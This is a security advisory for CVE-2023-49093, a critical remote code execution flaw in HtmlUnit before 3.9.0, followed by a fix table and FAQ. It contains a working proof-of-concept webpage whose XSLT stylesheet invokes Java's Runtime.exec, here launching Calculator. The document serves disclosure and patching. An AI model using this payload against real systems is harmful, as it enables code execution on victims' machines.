CVE-2023-49093: HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL
First published: Mon Dec 04 2023(Updated: )
### Summary HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage ### Details Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode) The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor ### PoC pom.xml: ``` <dependency> <groupId>org.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>3.8.0</version> </dependency> ``` code: ``` WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER); HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html"); System.out.println(page.asNormalizedText()); ``` test.html: ``` <script> var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0"); var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0"); var xslProc; xslDoc.async = false; xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <span><xsl:value-of select="$processString"/></span> </xsl:template> </xsl:stylesheet>`) if (xslDoc.parseError.errorCode != 0) { var myErr = xslDoc.parseError; document.write("ParseError: "+myErr.reason); } else { xslt.stylesheet = xslDoc; var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0"); xmlDoc.async = false; xmlDoc.loadXML("<s></s>"); if (xmlDoc.parseError.errorCode != 0) { var myErr = xmlDoc.parseError; document.write("Document error: " + myErr.reason); } else { xslProc = xslt.createProcessor(); xslProc.input = xmlDoc; xslProc.transform(); document.write(xslProc.output); } } </script> ``` ### Impact Remote Code Execution
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| maven/org.htmlunit:htmlunit | <3.9.0 | 3.9.0 |
| Htmlunit Htmlunit | <3.9.0 |
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Reference Links
Frequently Asked Questions
What is the vulnerability ID of this issue?
The vulnerability ID of this issue is CVE-2023-49093.
What is the severity of CVE-2023-49093?
The severity of CVE-2023-49093 is critical with a CVSS score of 9.8.
Which software is affected by CVE-2023-49093?
The software affected by CVE-2023-49093 is HtmlUnit version up to but excluding 3.9.0.
How can I fix CVE-2023-49093?
To fix CVE-2023-49093, you need to upgrade HtmlUnit to version 3.9.0 or above.
Where can I find more information about CVE-2023-49093?
You can find more information about CVE-2023-49093 in the following references: - [GitHub Security Advisory](https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7) - [HtmlUnit changes report](https://www.htmlunit.org/changes-report.html#a3.9.0) - [NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-49093)
- collector/github-advisory-latest
- alias/GHSA-37vq-hr2f-g7h7
- alias/CVE-2023-49093
- collector/github-advisory
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- agent/author
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